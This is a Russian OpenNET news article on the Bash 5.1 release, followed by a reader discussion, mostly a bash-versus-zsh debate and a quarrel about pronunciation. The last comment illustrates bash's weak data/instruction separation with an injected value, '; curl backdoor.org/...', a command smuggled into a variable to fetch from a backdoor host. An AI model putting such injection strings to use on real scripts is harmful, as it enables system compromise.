The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Релиз командного интерпретатора Bash 5.1

08.12.2020 11:43

После двух лет разработки опубликована новая версия командного интерпретатора GNU Bash 5.1, используемого по умолчанию в большинстве дистрибутивов Linux. Одновременно сформирован релиз библиотеки readline 8.1, применяемой в bash для организации редактирования командной строки.

Из ключевых улучшений можно отметить:

  • Переработан движок генерации псевдослучайных чисел. Добавлена переменная SRANDOM, содержащая случайное 32-разрядное число из системного генератора псевдослучайных чисел (вместо LCRNG использованы вызовы getrandom/getentropy, /dev/urandom или arc4random, в зависимости от ОС). Выдаваемая последовательность теперь не является линейной и не повторяется при идентичном следовании запросов.
  • Для ассоциативных массивов реализована поддержка составных присвоений, в которых передаётся набор из пар в формате ключ/значение ("[key]=value"). Реализовано динамическое увеличение размера хэш-таблицы в зависимости от типа данных, добавляемых в ассоциативный массив.
  • Добавлена переменная PROMPT_COMMANDS, которую можно использовать для запуска нескольких команд перед выводом приглашения командной строки.
  • В команду wait добавлена опция "-p имя переменной" для сохранения в переменной информации о PID процесса, возвращённого при выполнении "wait -n" или вызова wait без аргументов. В "wait -n" теперь допускается передача списка работ (wait будет ожидать изменения состояния любой задачи из списка).
  • Добавлены новые загружаемые встроенные команды: asort, mktemp, accept, mkfifo, csv и cut/lcut.
  • В POSIX-режиме реализована возможность замещения процесса (process substitution), при которой ввод и вывод команды обрабатывается другими командами как файл (например, "diff <(sort file1) <(sort file2)").
  • Добавлены новые параметры операторов преобразования: "U", "u" и "L" для преобразования в верхний регистр всей строки, преобразования в верхний регистр первого символа и преобразования в нижний регистр, а также параметр "K" для отображения ассоциативного массива в формате ключ/значение.
  • Для включения режима совместимости с прошлыми версиями теперь нужно использовать переменную BASH_COMPAT (через опцию compat50 установить режим совместимости с bash 5.0 не получится).
  • В Readline по умолчанию включён режим выделенной вставки (bracketed-paste), при котором извлекаемые из буфера обмена данные обрамляются escape-последовательностями ("\e[200~" и "\e[201~") для визуального выделения поступивших из буфера обмена данных. В Readline обеспечена подсветка подобных вставок, а также подсветка текста, найденного при инкрементальном и неинкрементальном поиске в истории. Расширено число команд и ситуаций, для которых подставляются метки для подсветки.
  • Readline реализовано автоматическое включение горизонтальной прокрутки на однострочных терминалах.
  • Добавлена команда rl-clear-display для очистки содержимого экрана и буфера прокрутки.
  • Возвращено старое поведение, связанное с раскрытием файлового пути при указании слов, включающих обратные слэши, но не использующих спецсимволы раскрытия маски. Как и в bash 4.4 подобные пути теперь не раскрываются (изменённое поведение Bash 5.0 соответствовало стандарту POSIX, но было отрицательно воспринято пользователями и комитет POSIX согласился изменить спецификацию). Кроме того режим GLOBIGNORE теперь игнорирует указание "." и ".." в качестве указанных в терминале компонентов пути.
  • Изменена обработка исключений (trap) при чтении данных с терминала при помощи конструкций read и select. Встроенная команда select теперь запускает trap-обработчики в случае прерывания сигналом внутреннего вызова команды read. Разрешён рекурсивный запуск обработчиков SIGINT.
  • Разрешено использование команды "read -e" с произвольными файловыми дескрипторами (read -u N).
  • Добавлена возможность связывания с уже установленной в системе библиотекой Readline, вместо встроенной версии lib/readline (для подобного связывания требуется версия Readline 8.1).
  • В команде "bind -x" добавлена поддержка определения разных привязок клавиатурных комбинаций для разных режимов редактирования и разных раскладок клавиатуры.
  • Реализована оптимизация числа форков, выполняемых при запуске команд в subshell или при помощи "bash -c". При выполнении "bash -c" статус выполнения работ теперь можно узнать командой jobs.
  • Код сопоставления по шаблону теперь использует вызов fnmatch для учёта одинаково выглядящих строк, но отличающихся по кодам символов.
  • В readline добавлена команда shell-transpose-words, использующая то же определение слов, что и в команде shell-forward-word. По умолчанию добавлены клавиатурные привязки для команд shell-forward-word, shell-backward-word, shell-transpose-words и shell-kill-word.
  • В начальном окружении командной оболочки теперь доступна переменная ARGV0, которой присвоено значение $0.
  • Добавлен оператор "test -N", определяющий время с наносекундной точностью.
  • Разрешена запись в переменную BASH_REMATCH.
  • В ulimit добавлена команда "-R" для просмотра и установки ресурса RLIMIT_RTTIME.
  • Встроенная реализация вызова malloc на 64-разрядных системах теперь выравнивает возвращаемую память по 16 байтовой границе.
  • При выходе из командной оболочки bash теперь пытается закрыть все FIFO-каналы, независимо от того, завершены ли связанные с ними процессы.


  1. Главная ссылка к новости (https://lists.gnu.org/archive/...)
  2. OpenNews: Релиз командного интерпретатора Bash 5.0
  3. OpenNews: Выпуск командной оболочки fish 3.0
  4. OpenNews: Xonsh - командная оболочка, сочетающая Python с лучшими возможностями Bash, zsh и fish
  5. OpenNews: В Bash выявлено ещё четыре уязвимости, эксплуатируемые через переменные окружения
  6. OpenNews: Релиз командной оболочки zsh 5.1
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/54214-bash
Ключевые слова: bash, shell
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (287) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, MasterSlave (?), 12:03, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • –4 +/
    Народ, не вброса ради... Что всё-таки лучше для заурядного хомы: bash или zsh?
     
     
  • 2.3, Аноним (3), 12:05, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Мне лично нравится oh-my-zsh с плагинами.
     
     
  • 3.13, Аноним (13), 12:21, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +5 +/
    >oh-my-backdoor

    Так правильнее.

     
     
  • 4.27, Аноним (27), 12:45, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +15 +/
    Пруфы бэкдоров будут или опять пук анонима в лужу?
     
     
  • 5.152, Аноним (152), 19:11, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Даже если его нет сейчас, что помешает его пушнуть в новом комите? Кто бы мог подумать что зверьцд можно и для скриптеров запилить!
     
  • 4.112, milinsky (ok), 16:17, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    https://github.com/ohmyzsh/ohmyzsh ты ведь просмотрел весь код и точно знаешь где бекдор, верно?
     
     
  • 5.118, NNN (??), 16:34, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +3 +/
    А ты ведь просмотрел весь код и точно знаешь, что там нет бэкдоров, верно?
     
     
  • 6.125, Энон (?), 17:01, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Специально для альтернативно одарённых. Необходимость доказательства утверждения лежит на утверждающем. Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика".
     
     
  • 7.126, Урри (ok), 17:11, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –5 +/
    Согласен - доказывать отсутствие мозгов у Энона не надо - ведь по его же словам "Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика".
     
     
  • 8.146, Энон (?), 18:06, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Сразу видно альтернативно одарённое урри ... текст свёрнут, показать
     
  • 7.145, Аноним (145), 18:06, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ну, как бы, к ИБ это плохо относится. Там больше наоборот, нужно доказывать отсутствие.
     
     
  • 8.148, Энон (?), 18:08, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Нет, нужно доказывать наличие Тем более, что код открыт... текст свёрнут, показать
     
     
  • 9.151, дохтурЛол (?), 19:05, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    тогда не нужны эти bash zsh, да и линyпс не нужон в виндoвсе уже есть и цмд и п... текст свёрнут, показать
     
     
  • 10.175, Энон (?), 20:27, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    дохтурЛох не читака дохтурЛох -- писака ... текст свёрнут, показать
     
  • 9.223, Прохожий (??), 01:09, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    И этот человек рассказывает другим о логике Наличие бэкдоров означает, что он... текст свёрнут, показать
     
     
  • 10.230, Аноним (230), 01:26, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ну и дятел Доказать наличие можно Для этого надо продемонстрировать, что такой... текст свёрнут, показать
     
  • 9.288, Аноним (-), 13:05, 11/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Болванка Тебе бы в гуманитарные податься, ну там, в юристы, к примеру Там та... текст свёрнут, показать
     
     
  • 10.295, Энон (?), 10:06, 15/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Докажи отсутствие чайника на орбите за Марсом, дурачок ... текст свёрнут, показать
     
  • 6.250, Logic Logic (?), 07:39, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Если подумать по-настоящему логично, то все крайне просто Два пункта у про... большой текст свёрнут, показать
     
  • 2.4, Отпетый Виндузятник (?), 12:05, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –25 +/
    PowerShell (: ну или что там сейчас ещё для 10 сделали
     
     
  • 3.5, Аноним (5), 12:07, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    cmd должно хватить всем
     
     
  • 4.11, Аноним (11), 12:17, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +7 +/
    command.com
     
     
  • 5.80, псевдонимус (?), 14:52, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Батников и волков коммандер достаточно для всего:-))
     
     
  • 6.149, Аноним (145), 18:08, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Волков Командер знаю, а Батников Командер не встречал.
     
  • 6.247, нежданчик (?), 05:43, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Можно поинтересоваться, у вас уже доллар в свободной продаже или нет? Если - да, то покупайте на всё рубли, он скоро повысится! =))
     
  • 6.251, tmplsr (?), 09:53, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >Батников и волков коммандер достаточно для всего:-))

    Азбуки Морзе. Телеграфным ключом вбиваешь команды, по светодиоду/пищалке считываешь ответ. Даже экран и клавиатура излишни.

     
  • 4.16, Аноним (16), 12:28, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Очень многие не сидят. У большинства моих знакомых венды дома нет, многим и по работе с ней пересекаться не приходится.
     
     
  • 5.19, Аноним (16), 12:31, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Лично у меня она есть, только в виртуалке. Нужно для работы, да и игрушечки не все пока на протоне идут. В принципе cmd.exe вполне достаточно для её скриптования, павершел же ничем не удобнее баша.
     
     
  • 6.25, заминированный тапок (ok), 12:42, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    зато на Lutris идут гораздо больше, чем на протоне (и даже есть интеграция с коллекцией steam)

    а играться в виртуальной машине - ну такое...

     
     
  • 7.28, Аноним (16), 12:48, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Да не помню, когда запускал виртуалку ради игрушечек, вроде лет 5 назад. Тогда ещё dxvk никаких не было, какие-то лютые баги лезли. Но вообще, в QEMU то с проброшенной картой лучше чем с вендой на хосте работает, в dxvk всё же процентов на 10 ниже фреймрейт.
     
     
  • 8.50, заминированный тапок (ok), 13:45, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    много возни косяков при пробросе видекарты в QEMU из личного опыта хост был с... текст свёрнут, показать
     
     
  • 9.56, Аноним (16), 14:02, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Для хоста нужна другая карта, у меня был отдельный монитор, но вроде можно и с о... текст свёрнут, показать
     
     
  • 10.92, заминированный тапок (ok), 15:20, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    У меня всё проще, тк вывод на другой монитор не обязателен, так что можно обойти... текст свёрнут, показать
     
  • 6.128, Урри (ok), 17:14, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    К сожалению - недостаточно.
    Многие вещи в батничках физически нельзя сделать. И в первую очередь - корректную экранизацию спецсимволов в многострочных данных.
     
     
  • 7.147, псевдонимус (?), 18:08, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Вообще-то это была просто шутка. :-(
     
  • 4.18, Аноним (18), 12:31, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    У меня нет окошек уже лет эдак 5 от слова совсем. До этого была XP в виртуалке для одной хитрой софтины.
     
     
  • 5.129, Урри (ok), 17:15, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    А у меня большой зоопарк виртуалок с вендой и пара с макосью (да-да, куэму умеет крутить на ..мм.. короче крутить в себе макось).
     
  • 3.31, Аноним (145), 13:14, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >ну или что там сейчас ещё для 10 сделали

    WSL2 для вас сделали. Так что вам тоже на bash переходить.

     
  • 3.35, cjayho (?), 13:22, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    ее и на венде особо не жалуют изза адских тормозов и переусложненности
     
  • 2.6, Аноним (6), 12:07, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +7 +/
    Что значит лучше? Это просто инструмент. Он либо подходит под твои задачи либо нет. Если не подходит, ищешь другой.
     
     
  • 3.39, Аноним (39), 13:23, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Просто удобный молоток, а не розовая ржавая железка.
     
  • 2.8, Аноним (16), 12:10, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Зшизмы заточены на комфортный интерактив (и куча плагинов комплектом соответственно тоже) и баш на скрипты, в значительной мере избавленные внешних вызовов. Он легче зш, но некоторые поведение в частности с пайпами и его ридлайн довольно своеобразное. Вроде я столкнулся с несовместимыми отличиями в глобах, сетопт и хэштейблах, из-за чего от поддержки зш в качестве интерпретатора пришлось отказаться. А кроме того, зш есть не каждой системе, и баш есть везде, поэтому если и брать зш, то только "для души".
     
  • 2.9, Аноним (9), 12:12, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +8 +/
    bash, если у тебя больше одного компа
     
     
  • 3.49, Аноним (230), 13:43, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Какая связь?
     
     
  • 4.70, Аноним (70), 14:24, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    zsh нужно устанавливать самому
     
     
  • 5.76, Аноним (230), 14:39, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –4 +/
    И что? На один комп поставить можно, а на второй уже неподъёмная задача?
     
     
  • 6.114, имя (ok), 16:26, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Радуйся, что у тебя два «компа», а не зоопарк унаследованных серверов.
     
     
  • 7.156, Аноним (230), 19:25, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Речь, вроде, шла не обо мне и не о владельцах зоопарков, а о тех, у кого
    > больше одного компа

    Два — это всё ещё больше одного, или я слишком давно не слежу за новостями арифметики?

    P. S. Если ты админишь зоопарк серверов без какого бы то ни было SCM, это говорит не о твоей крутости, а о твоей профнепригодности.

     
     
  • 8.188, имя (ok), 21:08, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ты не поверишь, но кроме админов существуют люди, которым на эти серваки тоже ну... текст свёрнут, показать
     
  • 5.82, псевдонимус (?), 14:53, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –4 +/
    А баш сам себя устанавливает?
     
  • 5.245, Борат Сагдиев (?), 02:46, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    На macos bash нужно устанавливать самому, в отличие от zsh.
     
  • 2.10, stargrave2 (?), 12:17, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    http://www.stargrave.org/ZSH-proscons.html
     
  • 2.22, Аноним (22), 12:32, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Тебе скрипты писать или просто дефолтный интерпретатор? Если первое, то лучше питона или руби ты не найдёшь. Если второе — оставайся на баш и не трогай, дабы не сломалось.
     
     
  • 3.93, анононим (?), 15:28, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    xonsh
     
  • 2.24, Дмитрий П. (?), 12:38, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –5 +/
    fish
     
  • 2.26, nomad__ (ok), 12:43, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Что всё-таки лучше для заурядного хомы: bash или zsh?

    bash достаточно даже разрабу (как разраб говорю). Когда тебе понадобится zsh, ты об этом узнаешь.

     
  • 2.34, Аноним (34), 13:20, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Для скриптов bash, для командной строки fish
     
  • 2.36, лолшто (?), 13:22, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Если стратежно к вопросу подходить, то изучать следует то, что позволит твоему опыту быть более переносимым. В данном случае - это bash.
     
     
  • 3.83, псевдонимус (?), 14:55, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Это sh, а не распиареный баш.
     
     
  • 4.121, лолшто (?), 16:37, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Кто до легковесных контейнеров доберется, тот и это поймет.
     
     
  • 5.131, Урри (ok), 17:18, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Это тех, где выкидывают баш ради 600 киль пространства, но впихивают питон ради -100 метров?
     
     
  • 6.262, Аноним (230), 14:29, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > выкидывают баш ради 600 киль

    в ~10 раз больше

    > питон ради -100 метров

    В ~10 раз меньше.

     
  • 2.37, rshadow (ok), 13:22, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Если коротко: bash есть из коробки на каждом сервере, zsh если настроить то будет удобнее.
     
     
  • 3.51, Аноним (230), 13:46, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Не на каждом. Даже не на каждом сервере с линуксом. И bash, и zsh — это хорошо, но надо уметь пользоваться POSIX shell.
     
     
  • 4.55, 1 (??), 14:00, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –3 +/
    вроде в любом линаксе sh - это просто hardlink на bash
     
     
  • 5.67, Аноним (230), 14:20, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Даже из мейнстримных дистров общего назначения — не в любом. В Debian-based и некоторых других это dash. Ежели дистр специализированный и урезанный, в нём может быть busybox с ash.
     
  • 5.68, Аноним (230), 14:20, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +4 +/
    И не хардлинк, а симлинк, кстати.
     
  • 5.69, aa (?), 14:24, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    нет, не в любом
     
  • 4.73, Аноним (70), 14:28, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    нет не надо
     
  • 3.84, псевдонимус (?), 14:56, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Нет.
     
  • 3.94, Аноним (94), 15:30, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Мне вот интересны индивидуумы, у которых всё удобно "если настроить". Небо синее, трава зелёная, если что-то настроить, оно будет удобнее.

    А bash настроить нельзя?

     
     
  • 4.157, Аноним (230), 19:27, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > А bash настроить нельзя?

    Так, как zsh, — нельзя.

     
  • 2.40, InuYasha (??), 13:24, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –6 +/
    Пользую zsh уже с десяток лет. ЕДИНСТВЕННОЕ, чего в нём мне не хватает - поддержки оператора "==". Но это только в скриптах.
     
  • 2.44, Аноним (44), 13:27, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    bash.org
     
  • 2.66, abu (?), 14:20, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Программисты ставят zsh на десктоп, пожалуй, это хорошо. А на сервер ... мне лично лень городить его на каждом сервере, хватает и bash'a.
     
  • 2.140, grayich (ok), 17:44, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    в принципе пофик, но для меня например решает автодополнение по Tab в zsh, в баше неудобно
     
  • 2.170, Аноним (170), 20:19, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Для скриптов командная оболочка POSIX, для интерактивной работы то, что установлено по умолчанию.
     

     ....большая нить свёрнута, показать (76)

  • 1.17, ttakttaguri (ok), 12:30, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Во мне есть ubuntu 20.10, bash 5.0.17.
    Что и как надо зделать чтобы установил bash 5.1?
     
     
  • 2.20, Аноним (18), 12:32, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +17 +/
    Ничего. Жди обновления, не сри в систему.
     
  • 2.21, Аноним (18), 12:32, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Жди пакетов лучше. Либо переходи на роллинг дистры.
     
  • 2.38, Аноним (145), 13:23, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +11 +/
    >Во мне есть ubuntu 20.10, bash 5.0.17.

    Терминатор?

     
     
  • 3.85, вынь любит вас во все девайсы (?), 14:56, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Злой на вынь+цмд.екзе
    Добрый на линь+бэш.
     
  • 2.48, danonimous (?), 13:40, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Жди ебилдов.
     
  • 2.155, VINRARUS (ok), 19:24, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    ставь dash как /bin/sh, он в разы быстрее

    su
    apt-get install dash
    if [ -f /bin/dash ]
    then
    rm -f /bin/sh
    ln -s /bin/dash /bin/sh
    fi
    sh

     
     
  • 3.289, anonimous (?), 00:24, 12/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    открой для себя chcon
     

  • 1.23, Аноним (39), 12:36, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    > 5.1

    Вот она, программа здорового человека... ой, простите, человека без инвалидности!

     
     
  • 2.41, Аноним (145), 13:25, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Ты что, против инклюзива человеков с инвалидностью?
     
  • 2.158, VINRARUS (ok), 19:35, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >> 5.1
    > Вот она, программа здорового человека... ой, простите, человека без инвалидности!

    Гумонитарии они такие: пишут... ой, простите, рисуют код кисточками, а версии меняют через insert.

    Правда называть инвалидами тех кто пишет более эфективный код это так по ЛГБтшно...

     

  • 1.29, Аноннчик (?), 12:58, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Чем ZSH хуже Баша?
     
     
  • 2.30, Аноним (30), 13:08, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +6 +/
    Что же у Вас тут за собрание "лучше-хуже"?
    Чем колбаса хуже сосиски?
    Разные они, вот и всё. Что больше нравится - тем и пользуйтесь.
     
     
  • 3.95, Аноним (94), 15:32, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    А как же "всё познаётся в сравнении"?
     
  • 2.33, Ordu (ok), 13:20, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    У zsh имя нечитаемое совершенно: "зш", ну что это? Как это читать?
     
     
  • 3.42, InuYasha (??), 13:25, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Вообще все его читают как "зэ - эс - аш".
     
     
  • 4.58, Ordu (ok), 14:05, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Вообще все его читают как "зэ - эс - аш".

    Ну я о том же. Вынос мозга, а не название. гэцэцэ с гэдэбэ и то лучше.

     
     
  • 5.71, IRASoldier_registered (ok), 14:26, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –4 +/
    >гэцэцэ

    Тяжкое наследие советской школы с повальным изучением немецкого вместо английского.

    Так что "джи-си-си".

    >гэдэбэ

    "джи-ди-би", подсказывает Кэп.

    >"зэ-эс-аш"

    Хрена два. Общепринятое произношение - z[ee]sh / z[i]sh, т.е. "зиш". Баш и зиш, да.

     
     
  • 6.88, Ordu (ok), 15:06, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Во-первых, не немецкого, а латинского эти произношения букв взяты из латинского... большой текст свёрнут, показать
     
     
  • 7.98, InuYasha (??), 15:48, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Если бы они дали ему имя "hujsgory", то тогда было бы очевиднее,
    > что это читается как "зиш".

    Воистину. Может, он из Австралии?
    А нерусские обычно говорят так: https://www.youtube.com/watch?v=gGmBUfMaWMU

     
     
  • 8.123, Ordu (ok), 16:52, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Любопытно Он произносит z как zee, а sh, как аббревиатуру -- ass eitch, -- то... текст свёрнут, показать
     
     
  • 9.254, InuYasha (??), 12:00, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ну, да, всё верно в зависимости от предпочтения - зи эс эйч или зед эс эйч ,... текст свёрнут, показать
     
  • 8.136, IRASoldier_registered (ok), 17:24, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Вариант произнесения аббревиатуры как не как слова, а именно как аббревиатуры - ... текст свёрнут, показать
     
  • 7.133, IRASoldier_registered (ok), 17:21, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Латинский отчасти - ещё более далекое наследие, дореволюционных гимназий Я тебе... большой текст свёрнут, показать
     
     
  • 8.242, Ordu (ok), 02:21, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Не проецируй своих тараканов на меня У меня нет цели сохранять традицию ты мож... большой текст свёрнут, показать
     
     
  • 9.259, IRASoldier_registered (ok), 14:00, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Тогда нафига ты к ней отсылался Ага, нахрена нужна культура - от неё что, масла... текст свёрнут, показать
     
     
  • 10.282, Ordu (ok), 07:00, 10/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ты к ней отослался, начав говорить про то, что советский союз немецкий язык ... большой текст свёрнут, показать
     
     
  • 11.285, IRASoldier_registered (ok), 22:02, 10/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Видишь ли, проблема не только в том, что _понятно_ Так-то и высеры школоты капс... большой текст свёрнут, показать
     
     
  • 12.287, Ordu (ok), 04:42, 11/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Не могу сказать, чтобы у меня была бы какая-то оформленная позиция на счёт языко... большой текст свёрнут, показать
     
     
  • 13.290, IRASoldier_registered (ok), 01:01, 13/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Устало_поясняя Т е ты не понял Я не считаю, что человек, владеющий дефолтов... большой текст свёрнут, показать
     
     
  • 14.291, Ordu (ok), 05:37, 13/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Я не говорил ничего о том, что кто-то непременно должен Я говорил о том, что ... большой текст свёрнут, показать
     
     
  • 15.292, IRASoldier_registered (ok), 23:48, 14/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Вот с этого бы и начинал - мне удобно, йо пт , а не не надо путать русский ... текст свёрнут, показать
     
     
  • 16.296, Ordu (ok), 12:14, 15/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Но ты реально ведь путаешь, пытаясь объяснить мне, что я должен использовать анг... большой текст свёрнут, показать
     
     
  • 17.297, IRASoldier_registered (ok), 19:08, 16/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Не-а Английские названия _английских_ букв Буквы g и c никак не русские, э... текст свёрнут, показать
     
  • 7.252, tmplsr (?), 10:00, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >Во-первых, не немецкого, а латинского:

    Томик "Писем тёмных людей" про средневековую латынь этому адеквату!

     
     
  • 8.298, IRASoldier_registered (ok), 19:15, 16/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Редкостное петросянство ниасиляторов томистской теологии И да, средневековая ла... текст свёрнут, показать
     
  • 6.276, Аноним (276), 21:51, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >"зиш". Баш и зиш, да.

    А не пи...шь? ;)

     
     
  • 7.284, IRASoldier_registered (ok), 21:48, 10/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    В углу скребет мышь.


     
  • 3.78, Аноним (78), 14:41, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Прочитайте-ка ssh, пожалуйста
     
     
  • 4.91, Ordu (ok), 15:12, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > Прочитайте-ка ssh, пожалуйста

    Да, тоже гумно. Но альтернатив нету.

     
     
  • 5.205, Аноним (230), 22:31, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    dropbear же
     
  • 4.139, IRASoldier_registered (ok), 17:30, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    "Эс-эс-эйч", никаких проблем. Ну, разве что, может быть, "язык ломается" у тех, кому по каким-то причинам неприятно все иностранное.


     
  • 3.103, Аноним (103), 16:01, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    зи-шэл
     

     ....большая нить свёрнута, показать (31)

  • 1.32, Аноним (32), 13:15, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Баш вместе с линукс утилитками производительнее питона получается. И времени на код меньше уходит.
     
     
  • 2.45, InuYasha (??), 13:28, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –3 +/
    Только maximum дырявity, поскольку разделение данные-инструкции очень слабое - т.е. часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...".
     
     
